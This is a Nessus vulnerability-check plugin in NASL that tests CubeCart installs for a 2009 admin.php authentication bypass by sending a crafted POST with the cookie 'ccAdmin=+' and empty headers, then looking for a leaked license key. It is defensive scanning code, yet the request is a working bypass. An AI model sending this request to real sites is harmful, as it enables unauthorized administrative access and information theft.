CubeCart 'admin.php' Authentication Bypass Information Disclosure

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(42371);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_name(english:"CubeCart 'admin.php' Authentication Bypass Information Disclosure");

  script_set_attribute(attribute:"synopsis", value:
"A web application running on the remote host has an information
disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of CubeCart running on the remote host has an
authentication bypass vulnerability that could lead to information
disclosure.  Sending a specially crafted POST request for admin.php
bypasses authentication for the administrative user, revealing
information such as CubeCart version, PHP version, MySQL version, web
server version, and CubeCart license key.  A remote attacker could
use this information to mount further attacks.

Please note this plugin is similar to Nessus plugin #42353, but
performs a slightly different check.");
  script_set_attribute(attribute:"see_also", value:"https://forums.cubecart.com/topic/39766-cubecart-436-release-important-security-update/");
  script_set_attribute(attribute:"solution", value:
"Upgrade to CubeCart 4.3.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/11/04");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/11/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/11/04");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:cubecart:cubecart");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2022 Tenable Network Security, Inc.");

  script_dependencies("cubecart_detect.nasl");
  script_require_keys("www/cubecart");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");


port = get_http_port(default:80);
install = get_install_from_kb(appname:'cubecart', port:port);
if (isnull(install)) exit(1, "CubeCart wasn't detected on port "+port+".");

headers = make_array(
  'User-Agent', '',
  'X_CLUSTER_CLIENT_IP', '',
  'Cookie', 'ccAdmin=+'
);
url = string(install['dir'], '/admin.php');
req = http_mk_post_req(
  port:port,
  item:url,
  add_headers:headers
);
res = http_send_recv_req(port:port, req:req);
if (isnull(res)) exit(1, "The web server on port "+port+" failed to respond.");


if (egrep(string:res[2], pattern:"Software License Key: [0-9-]+"))
{
  if (report_verbosity > 0)
  {
    req_str = http_mk_buffer_from_req(req:req);
    report = string(
      "\n",
      "Nessus verified the issue using following request :\n",
      "\n",
      crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
      req_str, "\n",
      crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
    );
    security_warning(port:port, extra:report);
  }
  else security_warning(port);
}
else exit(0, "The CubeCart install at "+build_url(port:port, qs:install['dir']+"/")+" is not affected.");